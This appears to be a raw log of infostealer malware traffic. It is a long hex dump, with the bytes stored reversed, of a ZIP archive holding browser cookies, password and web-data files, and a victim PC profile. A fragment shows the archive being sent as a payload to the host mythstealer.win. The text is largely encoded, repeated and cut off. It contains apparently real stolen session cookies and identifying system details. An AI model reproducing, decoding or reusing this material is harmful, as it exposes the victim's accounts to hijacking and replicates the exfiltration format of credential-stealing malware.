0:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:d6:81:a4:00:00:00:00:00:00:00:00:00:00:00:22:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:97:81:a4:00:00:00:00:00:00:00:00:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:56:81:a4:00:00:00:00:00:00:00:00:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:78:6f:66:65:72:69:46:2f:72:65:73:77:6f:72:62:00:00:00:00:81:a4:00:00:00:00:00:00:00:00:00:00:00:1b:00:00:01:1d:00:00:01:1d:73:18:61:37:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:0a:34:36:5f:36:38:78:20:92:86:e2:20:68:63:72:61:20:75:70:63:0a:73:77:6f:64:6e:69:57:20:92:86:e2:20:76:6e:65:20:70:6f:74:6b:73:65:64:0a:29:6e:6f:69:74:61:74:73:6b:72:6f:57:28:20:31:32:36:32:32:2e:30:2e:30:31:20:73:77:6f:64:6e:69:57:20:92:86:e2:20:6f:72:74:73:69:64:20:73:6f:0a:73:77:6f:64:6e:69:57:20:92:86:e2:20:6d:72:6f:66:74:61:6c:70:0a:7a:33:75:6e:64:65:73:79:74:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:6e:74:73:6f:68:0a:7a:33:75:6e:44:45:73:59:54:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:6e:65:63:69:76:65:64:0a:5d:22:53:55:2d:6e:65:22:5b:20:92:86:e2:20:65:67:61:75:67:6e:61:6c:0a:79:69:66:44:6c:50:47:20:92:86:e2:20:65:6d:61:6e:72:65:73:75:0a:0a:61:30:36:64:2d:33:63:62:32:35:35:38:65:2d:68:74:79:6d:20:92:86:e2:20:79:65:4b:0a:32:36:31:2e:32:31:2e:34:32:31:2e:34:36:20:92:86:e2:20:73:73:65:72:64:64:41:20:50:49:0a:7a:33:75:6e:44:45:73:59:54:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:4e:20:43:50:74:78:74:2e:6f:66:6e:69:63:70:00:00:00:0a:00:00:01:2d:00:00:01:2d:db:ae:b0:a5:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:6e:65:6b:6f:74:00:00:00:0a:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:20:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:0a:31:34:09:70:74:6e:2d:6d:75:69:6d:6f:72:68:43:65:67:64:65:2d:74:6c:67:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:36:36:39:38:37:36:30:38:30:31:32:37:31:7c:32:34:34:33:09:6e:6f:69:73:73:65:73:5f:69:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:64:37:66:36:09:64:49:65:63:69:76:65:44:79:72:74:65:6d:65:6c:65:54:73:6e:6f:69:74:61:63:69:6c:70:70:41:74:66:6f:73:6f:72:63:69:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:37:34:33:38:32:34:34:37:37:39:33:38:30:31:32:38:34:38:39:35:33:31:09:70:64:69:75:6c:74:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:69:6c:33:2e:0a:31:09:6e:6f:69:74:61:63:65:72:70:65:64:2d:65:69:6b:6f:6f:63:2d:65:76:69:65:63:65:72:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:2e:6f:59:51:4a:68:52:76:49:77:45:31:68:73:73:62:4c:42:42:7a:43:30:35:2d:4d:57:31:74:7a:6f:47:47:6b:70:42:76:65:2d:41:36:48:41:56:42:7a:79:64:70:42:39:76:63:6e:32:74:65:48:63:54:67:42:39:49:5f:2d:59:58:6b:64:6d:78:4a:4d:78:6c:48:09:44:49:4e:41:50:5f:52:44:4e:41:58:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:34:35:33:31:35:32:36:35:39:35:30:39:39:36:37:31:37:32:35:09:32:64:69:75:75:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:31:34:09:70:68:64:2d:6d:75:69:6d:6f:72:68:43:65:67:64:65:2d:74:6c:67:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:30:09:74:75:6f:74:70:6f:61:73:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:6f:6e:09:6e:69:5f:64:65:67:67:6f:6c:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:62:75:68:74:69:67:2e:0a:22:57:43:7a:53:67:42:41:38:4c:75:76:6f:62:70:63:6b:44:34:73:65:4e:79:44:37:42:67:72:47:48:48:51:41:3d:67:69:73:3a:32:3d:76:3a:31:36:36:36:36:31:31:32:37:31:3d:74:3a:31:36:32:30:38:30:31:32:37:31:3d:69:3a:31:3d:78:3a:31:3d:75:3a:09:63:64:69:6c:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:0a:5b:56:60:39:37:71:54:72:52:39:6c:66:6b:52:39:5e:2a:71:6b:56:4b:6e:2d:53:6c:6b:5b:69:62:36:32:60:3c:65:2a:6d:78:73:3d:62:59:69:50:62:2b:2a:66:65:24:36:4b:64:79:2d:42:4c:44:66:25:56:77:57:67:78:61:68:64:48:44:49:70:38:35:6f:52:24:74:5f:49:30:29:77:4b:09:6a:6e:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:33:36:32:30:38:30:31:32:37:31:2e:33:38:38:33:34:31:36:39:32:2e:31:2e:31:48:47:09:6f:74:63:6f:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:62:75:68:74:69:67:2e:0a:67:52:6e:49:4b:36:70:6a:43:4f:73:55:79:38:6d:75:45:68:62:46:4f:39:52:6b:6e:64:4d:63:4b:31:57:76:4a:6f:32:58:76:55:31:38:6c:45:6c:4b:70:51:6c:31:44:37:76:70:6f:4e:33:70:2e:5f:58:74:45:7a:6f:61:58:31:6e:42:39:47:5f:49:4c:44:61:32:54:47:63:44:38:58:43:61:64:6c:2d:31:2e:31:2e:30:2e:31:2d:31:36:32:30:38:30:31:32:37:31:2d:49:51:4b:70:44:76:6e:73:67:70:71:09:6d:62:5f:66:63:5f:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:64:69:67:6d:2e:0a:30:09:52:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:67:6e:69:62:2e:63:2e:0a:31:09:44:49:55:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:68:63:72:61:65:73:65:72:64:72:61:63:65:72:6f:63:73:2e:0a:33:33:34:38:39:35:35:31:35:37:30:37:31:3d:55:4c:26:34:3d:56:26:32:30:34:32:30:32:3d:56:4c:26:30:38:37:63:3d:48:53:41:48:26:38:34:38:34:34:09:43:50:46:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:41:75:32:6c:63:46:77:61:4b:57:36:09:43:54:50:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:67:6e:69:62:2e:0a:22:33:61:31:36:62:62:66:37:65:09:65:69:6b:6f:6f:63:62:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:0a:39:35:33:31:43:37:25:30:43:37:25:34:6a:66:43:37:25:32:43:37:25:78:61:6d:74:7a:31:31:09:6b:63:6c:63:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:0a:31:64:38:35:09:64:49:65:63:69:76:65:44:79:72:74:65:6d:65:6c:65:54:73:6e:6f:69:74:61:63:69:6c:70:70:41:74:66:6f:73:6f:72:63:69:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:77:77:77:0a:38:30:32:30:35:32:30:32:2e:31:32:39:30:33:32:30:32:2e:09:44:49:4c:43:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:73:6d:2e:79:74:69:72:61:6c:63:2e:77:77:77:0a:31:09:6e:6f:69:74:61:63:65:72:70:65:64:2d:65:69:6b:6f:6f:63:2d:65:76:69:65:63:65:72:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:74:65:6e:2e:6b:63:69:6c:63:65:6c:62:75:6f:64:2e:0a:36:30:31:63:09:73:64:61:5f:63:75:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6f:63:2e:74:2e:0a:49:66:48:67:36:75:45:6b:4e:4a:51:4a:79:51:44:62:54:76:2d:54:6e:32:7a:58:65:6e:31:09:70:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:31:09:65:69:6b:6f:6f:63:5f:65:6c:62:61:6e:65:5f:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:3d:3d:41:41:41:41:67:4d:63:30:38:33:38:36:7a:73:52:49:46:4d:73:47:45:6e:56:6a:58:6e:6d:76:61:38:74:35:6b:79:6e:42:58:74:78:6a:59:58:35:64:6b:48:62:66:63:42:36:44:79:35:41:79:49:09:74:61:5f:63:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:61:68:63:70:61:6e:73:2e:0a:33:63:34:66:09:72:5f:64:69:63:73:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:33:63:34:66:09:64:69:63:73:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:73:39:74:6b:76:6d:7a:72:79:77:52:35:4a:71:70:48:4e:77:42:55:42:45:56:64:33:63:32:09:70:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6b:6f:74:6b:69:74:2e:0a:35:30:38:32:37:2d:38:30:34:37:31:32:34:34:33:37:30:37:31:2d:6d:6f:63:09:6b:72:74:5f:6f:74:6b:6d:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:7d:32:32:25:37:31:30:36:34:33:37:30:37:31:43:09:64:75:6f:6c:63:64:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:36:36:30:39:61:30:36:34:62:35:32:36:30:31:39:32:64:30:61:33:37:64:35:61:36:61:33:30:64:66:34:66:39:31:35:38:38:35:32:36:66:66:36:62:64:36:30:66:64:65:33:61:31:61:30:66:39:38:31:39:36:31:39:30:7c:66:33:38:62:64:32:38:37:36:61:34:36:33:61:64:32:37:32:66:38:65:33:64:62:66:39:38:65:33:30:37:31:31:38:62:09:74:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:76:74:2e:74:6f:70:73:69:2e:0a:6e:69:44:33:25:6c:61:72:65:6e:65:67:09:74:6e:65:73:6e:6f:63:5f:67:72:4f:65:62:6f:64:41:5f:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:72:74:63:64:6e:6b:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:31:41:33:25:34:30:30:30:43:43:32:25:31:41:33:25:33:30:30:30:09:74:6e:65:73:6e:6f:43:6e:6f:6e:61:74:70:4f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:5a:31:32:31:2e:33:35:3a:36:31:3a:32:32:54:37:30:2d:32:30:2d:34:32:30:32:09:64:65:73:6f:6c:43:78:6f:42:74:72:65:6c:41:6e:6f:6e:61:74:70:4f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:36:37:31:32:36:33:39:38:39:39:36:36:09:67:72:4f:65:62:6f:64:41:30:34:25:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:56:43:4d:41:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:44:33:25:45:44:32:74:53:35:79:6f:48:41:38:41:41:6a:4d:53:39:30:41:71:45:41:47:42:41:52:4d:59:33:4b:6c:4c:6a:4f:43:53:49:6c:4e:33:45:6a:4d:32:4d:54:4f:34:6b:54:4f:32:59:7a:4e:30:49:54:4e:09:79:74:69:74:6e:65:64:69:5f:67:72:4f:65:62:6f:64:41:5f:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:72:74:63:64:6e:6b:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:39:36:30:36:34:33:37:30:37:31:33:32:25:55:74:6d:4c:6b:4a:44:32:25:36:37:31:32:36:33:39:38:39:39:36:36:37:34:32:35:09:78:6f:62:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:77:65:4e:2d:33:30:37:39:30:32:34:34:33:37:30:37:31:09:72:6e:5f:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:30:30:3d:44:49:53:09:53:53:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:35:34:38:38:30:33:35:39:36:31:09:73:74:64:69:64:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6f:69:70:70:69:70:2e:0a:45:6d:55:6d:77:34:5f:7a:72:41:73:73:6b:2d:2d:43:09:64:69:64:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6f:69:70:70:69:70:2e:0a:39:37:38:30:34:38:38:30:33:35:39:36:31:3d:55:4c:26:34:3d:56:26:39:30:33:32:30:32:3d:56:4c:26:35:37:32:37:3d:48:53:41:48:26:33:33:32:36:32:09:43:50:46:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:77:77:77:0a:39:37:38:30:34:38:38:30:33:35:39:36:31:3d:55:4c:26:34:3d:56:26:39:30:33:32:30:32:3d:56:4c:26:35:37:32:37:3d:48:53:41:48:26:33:33:32:36:32:09:31:43:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:0a:22:45:36:46:34:2d:62:5a:54:70:37:39:49:4f:30:6b:76:57:33:6c:66:64:72:6d:4e:2d:75:46:7a:32:47:51:41:34:65:30:30:39:33:32:36:63:62:63:37:2d:66:65:61:38:2d:35:38:32:34:2d:09:65:69:6b:6f:6f:63:73:62:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:77:77:77:2e:0a:5a:31:31:3a:37:30:3a:35:31:54:31:32:2d:39:30:2d:33:32:30:32:3d:43:66:65:52:2e:44:33:33:31:36:38:38:33:37:46:45:34:45:30:46:42:32:35:32:34:37:46:30:46:42:34:43:44:35:42:33:09:74:65:6b:72:61:6d:74:70:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:1f:00:00:0e:14:00:00:0e:14:fa:88:33:f6:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:25:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:22:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:0a:31:09:31:2d:31:32:33:36:31:31:36:33:2d:41:55:5f:74:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:31:35:39:36:32:31:36:30:37:31:2e:35:39:32:38:35:38:37:36:35:2e:32:2e:31:41:47:09:64:69:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:31:35:39:36:32:31:36:30:37:31:2e:38:33:35:34:37:35:37:37:31:2e:32:2e:31:41:47:09:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:30:2e:30:2e:30:2e:30:35:39:36:32:31:36:30:37:31:2e:31:2e:31:2e:30:35:39:36:32:31:36:30:37:31:2e:31:2e:31:53:47:09:57:51:51:51:37:36:37:37:51:4d:5f:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:78:6f:66:65:72:69:46:2f:72:65:73:77:6f:72:62:00:00:00:1b:00:00:01:1d:00:00:01:1d:73:18:61:37:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50" HTTP/1.1 200 OK4e:T42d0,host: mythstealer.win" with payload::==> "00:00:00:00:12:e5:00:00:03:37:00:0b:00:0b:00:00:00:00:06:05:4b:50:74:78:74:2e:6f:66:6e:69:63:70:00:00:11:90:81:a4:00:00:00:00:00:00:00:00:00:00:00:0a:00:00:01:2d:00:00:01:2d:db:ae:b0:a5:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:6e:65:6b:6f:74:00:00:11:68:81:a4:00:00:00:00:00:00:00:00:00:00:00:0a:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:11:27:81:a4:00:00:00:00:00:00:00:00:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:10:e9:81:a4:00:00:00:00:00:00:00:00:00:00:00:20:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:02:98:81:a4:00:00:00:00:00:00:00:00:00:00:00:1f:00:00:0e:14:00:00:0e:14:fa:88:33:f6:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:02:59:81:a4:00:00:00:00:00:00:00:00:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:02:16:81:a4:00:00:00:00:00:00:00:00:00:00:00:25:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:d6:81:a4:00:00:00:00:00:00:00:00:00:00:00:22:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:97:81:a4:00:00:00:00:00:00:00:00:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:56:81:a4:00:00:00:00:00:00:00:00:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:78:6f:66:65:72:69:46:2f:72:65:73:77:6f:72:62:00:00:00:00:81:a4:00:00:00:00:00:00:00:00:00:00:00:1b:00:00:01:1d:00:00:01:1d:73:18:61:37:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:0a:34:36:5f:36:38:78:20:92:86:e2:20:68:63:72:61:20:75:70:63:0a:73:77:6f:64:6e:69:57:20:92:86:e2:20:76:6e:65:20:70:6f:74:6b:73:65:64:0a:29:6e:6f:69:74:61:74:73:6b:72:6f:57:28:20:31:32:36:32:32:2e:30:2e:30:31:20:73:77:6f:64:6e:69:57:20:92:86:e2:20:6f:72:74:73:69:64:20:73:6f:0a:73:77:6f:64:6e:69:57:20:92:86:e2:20:6d:72:6f:66:74:61:6c:70:0a:7a:33:75:6e:64:65:73:79:74:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:6e:74:73:6f:68:0a:7a:33:75:6e:44:45:73:59:54:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:6e:65:63:69:76:65:64:0a:5d:22:53:55:2d:6e:65:22:5b:20:92:86:e2:20:65:67:61:75:67:6e:61:6c:0a:79:69:66:44:6c:50:47:20:92:86:e2:20:65:6d:61:6e:72:65:73:75:0a:0a:61:30:36:64:2d:33:63:62:32:35:35:38:65:2d:68:74:79:6d:20:92:86:e2:20:79:65:4b:0a:32:36:31:2e:32:31:2e:34:32:31:2e:34:36:20:92:86:e2:20:73:73:65:72:64:64:41:20:50:49:0a:7a:33:75:6e:44:45:73:59:54:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:4e:20:43:50:74:78:74:2e:6f:66:6e:69:63:70:00:00:00:0a:00:00:01:2d:00:00:01:2d:db:ae:b0:a5:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:6e:65:6b:6f:74:00:00:00:0a:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:20:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:0a:31:34:09:70:74:6e:2d:6d:75:69:6d:6f:72:68:43:65:67:64:65:2d:74:6c:67:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:36:36:39:38:37:36:30:38:30:31:32:37:31:7c:32:34:34:33:09:6e:6f:69:73:73:65:73:5f:69:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:64:37:66:36:09:64:49:65:63:69:76:65:44:79:72:74:65:6d:65:6c:65:54:73:6e:6f:69:74:61:63:69:6c:70:70:41:74:66:6f:73:6f:72:63:69:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:37:34:33:38:32:34:34:37:37:39: